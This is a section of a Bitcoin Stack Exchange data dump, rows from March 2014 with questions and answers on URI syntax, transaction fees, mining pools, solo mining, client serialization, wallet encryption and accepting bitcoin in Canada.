  <row Id="23170" PostTypeId="2" ParentId="23169" CreationDate="2014-03-07T00:55:43.443" Score="2" Body="&lt;p&gt;No, this is not possible according to &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0021.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 0021&lt;/a&gt;. The BNF grammar for the &lt;code&gt;bitcoin:&lt;/code&gt; URI scheme starts with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;bitcoinurn     = &quot;bitcoin:&quot; bitcoinaddress [ &quot;?&quot; bitcoinparams ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;bitcoinparams&lt;/code&gt; has no address information, this means that exactly &lt;em&gt;one&lt;/em&gt; output address is required.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-07T00:55:43.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23171" PostTypeId="1" CreationDate="2014-03-07T01:00:36.040" Score="0" ViewCount="146" Body="&lt;p&gt;I am working on an online litecoin wallet system. For every transaction originated from our site, we need to charge say x% of the amount as fees and it'll be sent to Admin's address ? How can I do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess &lt;code&gt;paytxfee&lt;/code&gt; is what we are willing to pay others for a particular transaction, right ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't found any parameter to set the address to which the transaction fees should go ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for some help...&lt;/p&gt;&#xA;" OwnerUserId="13642" LastActivityDate="2014-03-07T01:26:50.203" Title="how to earn a transaction fee for transactions originating from my client" Tags="|bitcoind|litecoin|address|transaction-fees|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23172" PostTypeId="2" ParentId="23171" CreationDate="2014-03-07T01:26:50.203" Score="2" Body="&lt;p&gt;By definition, &quot;transaction fee&quot; is the difference between sum of inputs and sum of outputs. It always goes to the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need is to add an output payable to your account.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-07T01:26:50.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23175" PostTypeId="2" ParentId="6037" CreationDate="2014-03-07T02:44:18.093" Score="12" Body="&lt;p&gt;The wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Hashcash&quot;&gt;answers this&lt;/a&gt;. TLDR: to prevent against &lt;a href=&quot;http://en.wikipedia.org/wiki/Birthday_attack&quot;&gt;birthday attacks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin is using two hash iterations (denoted SHA256^2 ie &quot;SHA256 function squared&quot;) and the reason for this relates to a partial attack on the smaller but related SHA1 hash. SHA1's resistance to birthday attacks has been partially broken as of 2005 in O(2^64) vs the design O(2^80). While hashcash relies on pre-image resistance and so is not vulnerable to birthday attacks, a generic method of hardening SHA1 against the birthday collision attack is to iterate it twice. A comparable attack on SHA256 does not exist so far, however as the design of SHA256 is similar to SHA1 it is probably defensive for applications to use double SHA256. And this is what bitcoin does, it is not necessary given hashcash reliance on preimage security, but it is a defensive step against future cryptanalytic developments. The attack on SHA1 and in principle other hashes of similar design like SHA256, was also the motivation for the NIST SHA3 design competition which is still ongoing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13990" LastActivityDate="2014-03-07T02:44:18.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23177" PostTypeId="2" ParentId="23117" CreationDate="2014-03-07T05:12:47.350" Score="2" Body="&lt;p&gt;Simplest solution is to use a 3rd party payment processor, e.g. Coinbase will permit recurring payments for bills or rent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FhzVq.png&quot; alt=&quot;Snippet from Coinbase&amp;#39;s interface&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14236" LastEditorUserId="14236" LastEditDate="2014-03-07T05:34:16.567" LastActivityDate="2014-03-07T05:34:16.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23178" PostTypeId="2" ParentId="21965" CreationDate="2014-03-07T05:23:19.083" Score="1" Body="&lt;p&gt;It's likely your intensity is too high. Usually higher intensity or other settings may look good with higher hashing power, but in truth results in a lot of false positives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playing around with the settings till you get the sweet spot is the best practice.&lt;/p&gt;&#xA;" OwnerUserId="13620" LastActivityDate="2014-03-07T05:23:19.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23179" PostTypeId="2" ParentId="9776" CreationDate="2014-03-07T05:31:41.433" Score="1" Body="&lt;p&gt;If you search through your BTC-e's profile, you will find that they have MetaTrader which shows all trades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site shows data for MTGox which is very good for like how you want though I don't know if they have one for BTC-e&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.quandl.com/BITCOIN-Bitcoin-Charts/MTGOXUSD-Bitcoin-Markets-mtgoxUSD&quot; rel=&quot;nofollow&quot;&gt;http://www.quandl.com/BITCOIN-Bitcoin-Charts/MTGOXUSD-Bitcoin-Markets-mtgoxUSD&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13620" LastActivityDate="2014-03-07T05:31:41.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23180" PostTypeId="2" ParentId="23109" CreationDate="2014-03-07T06:31:04.367" Score="1" Body="&lt;p&gt;Several great reasons: (1) off chain transactions do not have a public ledger (2) tumbling - repeatedly moving through different addresses quickly makes tracking difficult (3) fragmenting - your BTC gets broken up into tiny tiny pieces and spread around (4) TOR or similar IP hiding can cloak the owner of an address (5) questions of jurisdiction (6) questions of whether any crime was even committed&lt;/p&gt;&#xA;" OwnerUserId="14236" LastActivityDate="2014-03-07T06:31:04.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23181" PostTypeId="1" CreationDate="2014-03-07T06:33:31.033" Score="3" ViewCount="1586" Body="&lt;p&gt;The blockchain looks like a double linked list, and all the transactions are stored into each block. What kind of algorithm does bitcoin use to find a specific transaction efficiently, since the blockchain is growing bigger and bigger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin network use its compute power to keep data consistency, if we simplify this model(write once read many, no update, no cheat) and use its consistency policy into the geographically distributed file system, does that work?&lt;/p&gt;&#xA;" OwnerUserId="14239" LastActivityDate="2014-03-07T12:20:34.623" Title="Bitcoin blockchain search algorithm and consistency policy" Tags="|blockchain|protocol|algorithms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23182" PostTypeId="1" CreationDate="2014-03-07T07:12:57.530" Score="0" ViewCount="71" Body="&lt;p&gt;Are there any decentralized/shared bitcoin asset/investment management systems out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be applicable to the following case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many peers and nobody trusts each other. But trust is gained by investing bitcoins in that system. &#xA;Nobody should be able to withdraw more money, than they invested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cross-posted this question on &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1zsjr8/are_there_decentralized_bitcoin_asset_management/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1zsjr8/are_there_decentralized_bitcoin_asset_management/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it's ok, if not i'll take the link out of this question.&lt;/p&gt;&#xA;" OwnerUserId="14241" LastActivityDate="2014-05-20T15:47:33.007" Title="Are there decentralized bitcoin asset management systems out there?" Tags="|trust|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23183" PostTypeId="2" ParentId="23181" CreationDate="2014-03-07T09:09:30.037" Score="3" Body="&lt;p&gt;The blockchain is either a tree structure (with each block just referencing its parent), or a single path through this tree (a singly linked list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internally in software (at least in the reference implementation), indexes exist of course to find blocks (by height, and by hash).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically however, there is no indexing of transactions at all. They're not necessary for validation. Instead, a database is maintained with just the &lt;strong&gt;outputs&lt;/strong&gt; of transactions that &lt;strong&gt;have not been spent yet&lt;/strong&gt; (which is indexed by transaction hash and nothing more). Every block that is validated updates this database: its new outputs are added, the outputs consumed by it are removed. This database is tiny, compared to the blockchain (400MB vs 16GB as of march 2014).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, earlier blocks themselves are not used during validation at all. We only need them for serving them to other nodes that are starting up - otherwise they would have no way to know the current state in a zero-trust manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This last point is important for Bitcoin's security model: full nodes never trust data they have not validated themselves. This is why we can't just copy the database of unspent outputs from someone and forgetting about the blocks before that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding separation of data across nodes: such mechanisms typically have very bad DoS properties, where knocking out a few network nodes can mean that some data becomes inaccessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For just blocks, it is certainly possible to not have every node store and serve every block ever (and this will likely be implemented somewhere in the future). Again, all they are needed for is bootstrapping a new node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database of unspent outputs can also be sharded, namely by only retaining outputs of transactions within a certain range of hashes. However, this still requires each node to validate each block, and the result is technucally not a full node. You would need a set of nodes, that together validate the full range of hashes, to be sure blocks are fully valid.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-03-07T12:20:34.623" LastActivityDate="2014-03-07T12:20:34.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23185" PostTypeId="1" AcceptedAnswerId="23193" CreationDate="2014-03-07T10:34:20.683" Score="0" ViewCount="222" Body="&lt;p&gt;I would like to know if I enter a pool and I input a given amount of Hash rate, is my share reward equivalent to my Hash rate input&lt;/p&gt;&#xA;" OwnerUserId="14248" LastActivityDate="2014-03-07T14:26:03.717" Title="Are pools share rewards equivalent to the power/hash rate input of a mining machine" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23191" PostTypeId="2" ParentId="22680" CreationDate="2014-03-07T13:21:12.697" Score="3" Body="&lt;p&gt;Found one: Stephenson's &lt;a href=&quot;https://en.wikipedia.org/wiki/Cryptonomicon&quot; rel=&quot;nofollow&quot;&gt;Cryptonomicon&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;http://www.laurelzuckerman.com/2013/03/digital-currency-ten-years-before-bitcoin-neal-stephensons-cryptonomicon-.html&quot; rel=&quot;nofollow&quot;&gt;Digital Currency: ten years before Bitcoin, Neal Stephenson's Cryptonomicon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user5672" LastActivityDate="2014-03-07T13:21:12.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23192" PostTypeId="1" CreationDate="2014-03-07T13:26:25.140" Score="0" ViewCount="37" Body="&lt;p&gt;I was wondering, not that I really took the time to investigate much yet but....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't it be possible, to do many different things, with the blockchain concept?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe i could build a &quot;browser&quot; which gets its content from a blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A basic idea is for example, messaging or a chat/email service.&#xA;You install the application (just like your qt wallet), you are given a unique address and off you go, now you can send messages.&#xA;Messages would then be added to the blockchain and verified by everyone, yet only the person with the correct address can read the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would in theory, be a pretty secure way to send messages.&lt;/p&gt;&#xA;" OwnerUserId="13220" LastActivityDate="2014-03-07T15:23:18.360" Title="Using a blockchain type system for different purposes" Tags="|blockchain|message|" AnswerCount="0" CommentCount="2" ClosedDate="2014-03-08T22:14:13.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="23193" PostTypeId="2" ParentId="23185" CreationDate="2014-03-07T14:26:03.717" Score="0" Body="&lt;p&gt;Yes, it is. This is done by the pool having a much lower &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;difficulty&lt;/a&gt; than the network does. If your block meets the pool's difficulty, you earn a share (but the block isn't really used); if it also meets the network's difficulty, then it is released to the network. Finding shares is random, and the payout scheme can mean that you earn more or less coins for a share, but over a little time it averages out so that you are paid proportionally to the hash rate that you bring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a simple example, a pool that uses a &lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&quot; rel=&quot;nofollow&quot;&gt;proportional&lt;/a&gt; split scheme would split the mining reward to the miners in the pool based on how many shares they earned in the course of mining that block. (This scheme is not good, because it allows pool hoppers to earn more at the expense of other miners, so other schemes like &lt;a href=&quot;http://pool-x.eu/aboutpplns&quot; rel=&quot;nofollow&quot;&gt;PPLNS&lt;/a&gt; are more common; but that's more complicated so I'll leave out the details.)&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-03-07T14:26:03.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23195" PostTypeId="1" CreationDate="2014-03-07T15:15:03.093" Score="0" ViewCount="41" Body="&lt;p&gt;Can someone explain what has happened here?  I mined a block of 50 a while back, then I recently made a payment of .31 BTC.  Why is the other 49.69 also in the transaction?  This extra transaction does not show up in my wallet, but if I take an old backup and let it update, it does show up and the total block of 50 is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/14sDPWsDWUdQCXWpJ4YVQYSxx9TFQh9STt&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/14sDPWsDWUdQCXWpJ4YVQYSxx9TFQh9STt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9341" LastActivityDate="2014-03-07T15:15:03.093" Title="What is this transaction, I did not make" Tags="|transactions|" AnswerCount="0" CommentCount="4" ClosedDate="2014-03-08T22:43:42.137" ContentLicense="CC BY-SA 3.0" />
  <row Id="23197" PostTypeId="1" CreationDate="2014-03-07T16:03:08.603" Score="6" ViewCount="744" Body="&lt;p&gt;I know that &lt;code&gt;multibit&lt;/code&gt; has the capacity to have multiple wallets, but no API access. &lt;code&gt;bitcoind&lt;/code&gt; has great API access, but only one wallet. Is there any solution that combines the two?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2015-01-03T13:47:40.683" Title="Are there any clients that allow for multiple wallets and API acccess?" Tags="|bitcoind|api|multibit|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23198" PostTypeId="2" ParentId="23197" CreationDate="2014-03-07T17:27:35.843" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt; supports multiple wallets and has a &lt;a href=&quot;https://bitcoinarmory.com/developers/python-scripting/&quot; rel=&quot;nofollow&quot;&gt;scripting interface&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; is an online wallet service that has an &lt;a href=&quot;https://blockchain.info/api/blockchain_wallet_api&quot; rel=&quot;nofollow&quot;&gt;interface&lt;/a&gt; very similar to bitcoind.  They also have an &lt;a href=&quot;https://blockchain.info/api/create_wallet&quot; rel=&quot;nofollow&quot;&gt;API to create wallets&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-03-07T17:27:35.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23203" PostTypeId="1" AcceptedAnswerId="23204" CreationDate="2014-03-07T18:34:21.507" Score="0" ViewCount="246" Body="&lt;p&gt;What i am asking is a relative threshold on the minimum Hash rate needed to mine solo, taking into account todays difficulty,could it be an ASIC of 1TH/s or 5TH/s so as to compare with pool mining&lt;/p&gt;&#xA;" OwnerUserId="14248" LastEditorUserId="5406" LastEditDate="2016-03-11T15:02:50.003" LastActivityDate="2016-03-11T15:02:50.003" Title="Today's threshold difficulty at 3,9 what would a miner need to go solo" Tags="|mining-hardware|solo-mining|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23204" PostTypeId="2" ParentId="23203" CreationDate="2014-03-07T18:48:55.503" Score="2" Body="&lt;p&gt;There is no minimum power needed to mine solo. You should note, however, that if you mine solo, your rewards will be much more inconsistent than if you mine in a pool. This is the major reason why pooled mining exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 5 TH/s at the current difficulty, the average time for you to find a block &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;is 38 days&lt;/a&gt;; with 1 TH/s, 189 days. But this is a random process that would average to 38 (or 189) days, and that time period is only likely to grow larger as time goes on. You have a real chance, then, of never getting any reward for your work (the reverse is also true, of course: you have a chance of finding more than expected...but I wouldn't stake thousands of dollars on it). Personally, I'd want an expected period of no more than 10 days/block (~20 TH/s currently) to consider solo mining a good option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also of note: your intuition of how any &lt;a href=&quot;https://en.wikipedia.org/wiki/Randomness&quot; rel=&quot;nofollow&quot;&gt;random&lt;/a&gt; process will work out is very probably very wrong. I'd go for mining in a pool so that I don't have to deal with any large amount of randomness in this process.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-03-07T18:48:55.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23205" PostTypeId="1" AcceptedAnswerId="23210" CreationDate="2014-03-07T19:05:17.190" Score="0" ViewCount="144" Body="&lt;p&gt;Lets assume we have transaction with 2 inputs, each worth 1 bitcoin, and we send these 2 bitcoins to one address. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What happens if there is successful double spend attack on bitcoins in our first input? &lt;/li&gt;&#xA;&lt;li&gt;How many bitcoins recipient gets, one or zero?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7305" LastActivityDate="2014-03-07T20:01:54.133" Title="Double spend in transaction with multiple inputs" Tags="|transactions|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23206" PostTypeId="1" AcceptedAnswerId="23208" CreationDate="2014-03-07T19:19:31.043" Score="0" ViewCount="254" Body="&lt;p&gt;Would 10 X 2TH/s machines give me the a heads up on pool mining or go solo mining obviously using different addresses on each machine, or one address prone to redundant work? &lt;/p&gt;&#xA;" OwnerUserId="14248" LastEditorUserId="5406" LastEditDate="2016-04-25T20:17:23.250" LastActivityDate="2016-04-25T20:17:23.250" Title="would 10 x 2TH/s machines give me the possibility to mine solo" Tags="|mining-profitability|mining-hardware|hashpower|solo-mining|" AnswerCount="1" CommentCount="1" ClosedDate="2014-03-21T12:01:29.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="23207" PostTypeId="1" CreationDate="2014-03-07T19:42:13.283" Score="3" ViewCount="537" Body="&lt;p&gt;I'm looking through the source code of the satoshi client, particularly into how transactions are serialized and sent through the network or stored to the disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;CTransaction&lt;/code&gt; class has this block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMPLEMENT_SERIALIZE&#xA;(&#xA;    READWRITE(this-&amp;gt;nVersion);&#xA;    nVersion = this-&amp;gt;nVersion;&#xA;    READWRITE(vin);&#xA;    READWRITE(vout);&#xA;    READWRITE(nLockTime);&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I'm not mistaken, the serialize part of &lt;code&gt;IMPLEMENT_SERIALIZE&lt;/code&gt; expands to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt;typename Stream&amp;gt;                   &#xA;void Serialize(Stream&amp;amp; s, int nType, int nVersion) const  &#xA;{                                           &#xA;    CSerActionSerialize ser_action;         &#xA;    const bool fGetSize = false;            &#xA;    const bool fWrite = true;               &#xA;    const bool fRead = false;               &#xA;    unsigned int nSerSize = 0;              &#xA;    assert(fGetSize||fWrite||fRead); /* suppress warning */&#xA;    {&#xA;        (nSerSize += ::SerReadWrite(s, (this-&amp;gt;nVersion), nType, nVersion, ser_action))&#xA;        nVersion = this-&amp;gt;nVersion;&#xA;        (nSerSize += ::SerReadWrite(s, (vin), nType, nVersion, ser_action))&#xA;        (nSerSize += ::SerReadWrite(s, (vout), nType, nVersion, ser_action))&#xA;        (nSerSize += ::SerReadWrite(s, (nLockTime), nType, nVersion, ser_action))&#xA;    }&#xA;}                                           &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's focus on &lt;code&gt;nLockTime&lt;/code&gt; for now, which is an &lt;code&gt;unsigned int&lt;/code&gt;. &lt;code&gt;SerReadWrite&lt;/code&gt; is defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt;typename Stream, typename T&amp;gt;&#xA;inline unsigned int SerReadWrite(Stream&amp;amp; s, const T&amp;amp; obj, int nType, int nVersion, CSerActionSerialize ser_action)&#xA;{&#xA;    ::Serialize(s, obj, nType, nVersion);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Serialize&lt;/code&gt; function, for &lt;code&gt;unsigned int&lt;/code&gt;s is defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt;typename Stream&amp;gt; &#xA;inline void Serialize(Stream&amp;amp; s, unsigned int a, int, int=0) { &#xA;    WRITEDATA(s, a); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which expands to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt;typename Stream&amp;gt; &#xA;inline void Serialize(Stream&amp;amp; s, unsigned int a, int, int=0) { &#xA;    s.write((char*)&amp;amp;(a), sizeof(a))&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, this converts the 4-byte &lt;code&gt;unsigned int&lt;/code&gt; to a &lt;code&gt;char*&lt;/code&gt; and then writes it to the stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, won't this have a different result on big-endian vs. little-endian machines? How does the client handle this? Or is the protocol defined in terms of little-endian, and on the machines the satoshi client is built on, it ends up just working out?&lt;/p&gt;&#xA;" OwnerUserId="13990" LastActivityDate="2014-10-01T05:24:39.560" Title="How does the satoshi client handle endianness?" Tags="|client|protocol|bitcoin-core|network|endianness|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23208" PostTypeId="2" ParentId="23206" CreationDate="2014-03-07T19:45:17.560" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/users/12034/tim-s&quot;&gt;Tim S.&lt;/a&gt; had a &lt;a href=&quot;https://bitcoin.stackexchange.com/a/23204/14010&quot;&gt;good answer&lt;/a&gt; about this earlier today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your overall hash rate is going to be around 20 TH/s, you would be OK doing your own solo mining. But with solo mining, your rewards will be a lot more inconsistent than if you mined in a pool.&lt;/p&gt;&#xA;" OwnerDisplayName="user14010" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-03-07T19:45:17.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23209" PostTypeId="1" CreationDate="2014-03-07T20:00:57.487" Score="1" ViewCount="607" Body="&lt;p&gt;The Bitcoin API enables programs on the server to use JSON RPC to interact with the Bitcoin wallet.  Most commands do not need the wallet locked (which I assume is the same thing as encrypted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, it would be nice to encrypt the wallet.dat file on the server for extra protection.  However, it doesn't seem that I can get any extra protection if my program needs to use the passphrase to execute JSON RPC commands such encryptwallet and sendtoaddress.  My program and wallet will be on the server.  If a hacker accesses my server, he can get the passphrase from my program file and then use that to access the wallet on my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, is there any point in encrypting the wallet on the server, if I need to use commands such as sendtoaddres which needs the passphrase on the server?&lt;/p&gt;&#xA;" OwnerUserId="12048" LastActivityDate="2014-04-07T00:59:57.257" Title="What is point of encrypting wallet, if Bitcoin API's sendtoaddress needs passphrase?" Tags="|api|json-rpc|encryption|wallet.dat|passphrase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23210" PostTypeId="2" ParentId="23205" CreationDate="2014-03-07T20:01:54.133" Score="3" Body="&lt;p&gt;A transaction either gets confirmed in its entirety (by being included in a block) or none at all. If one of the inputs is successfully doublespent, then your tx is invalid so will never be confirmed.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-07T20:01:54.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23212" PostTypeId="1" CreationDate="2014-03-07T20:51:46.323" Score="0" ViewCount="223" Body="&lt;p&gt;Any way to get high-low values more frequent than every 24 hours from say the &lt;a href=&quot;https://www.bitstamp.net/api/&quot; rel=&quot;nofollow&quot;&gt;Bitstamp API&lt;/a&gt; ticker? The link only tells you how to get the value for every 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also seems to be a problem with every other exchange I've tried.&lt;/p&gt;&#xA;" OwnerUserId="14269" LastEditorUserId="22837" LastEditDate="2015-02-18T09:07:49.310" LastActivityDate="2015-09-16T12:55:07.050" Title="Exchange API - more frequent high and low value" Tags="|api|bitstamp|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23213" PostTypeId="1" CreationDate="2014-03-07T23:53:02.953" Score="0" ViewCount="3772" Body="&lt;p&gt;I'm trying to start mining using my GPU (ATI Radeon HD 4850) but when I try to run cgminer it cant detect any devices.&#xA;I use this to run cgminer: cgminer --scrypt -o stratum+tcp://stratum2.dogechain.info:3333 -u USERNAME -p PASSWORD&#xA;Im very nooby so if you can help that would be great!&lt;/p&gt;&#xA;" OwnerUserId="14271" LastEditorUserId="2306" LastEditDate="2017-04-25T20:05:04.053" LastActivityDate="2017-04-25T20:05:04.053" Title="&quot;Can't detect any devices&quot;" Tags="|mining-hardware|cgminer|gpu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23214" PostTypeId="2" ParentId="23209" CreationDate="2014-03-08T00:04:28.373" Score="2" Body="&lt;p&gt;The wallet passphrase is there to protect the wallet file &lt;strong&gt;on disk&lt;/strong&gt;. It is not an authentication mechanism or a security measure against anyone who can see what is sent to it. It does however prevent private keys from hitting disk in readable form.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-08T00:04:28.373" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23215" PostTypeId="2" ParentId="23126" CreationDate="2014-03-08T00:06:13.473" Score="8" Body="&lt;p&gt;That seems to be a typo. Unspent transaction outputs are usually called UTXO's (Unspent TransaXtion Output).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-08T00:06:13.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23217" PostTypeId="1" CreationDate="2014-03-08T01:07:59.270" Score="3" ViewCount="404" Body="&lt;p&gt;I own a business and I want to know how to accept bitcoins for payment and whether it is legal to accept them in Canada?  For example, if someone pays me 2 bitcoins for a computer, do I need to charge taxes? If yes, do I need to charge 2 bitcoins and 50$ in Canadian money so I can give the taxes to the government?&lt;/p&gt;&#xA;" OwnerUserId="14272" LastEditorUserId="5406" LastEditDate="2014-03-09T10:07:55.040" LastActivityDate="2014-05-10T06:48:42.407" Title="How do I start accepting bitcoins legally in Canada?" Tags="|legal|canada|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23218" PostTypeId="2" ParentId="23217" CreationDate="2014-03-08T01:29:12.027" Score="0" Body="&lt;p&gt;I dont personally live in Canada, but its my understanding that they are one of the most liberal countries in regards to bitcoin business's. When I have ordered from &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wtcr.ca/&quot; rel=&quot;nofollow&quot;&gt;http://www.wtcr.ca/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have always had the tax added on at the end but in bitcoin, I surmise from this that WTCR then sell the 'tax' portion of the sale to fiat, and use that to pay the government.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-08T01:29:12.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
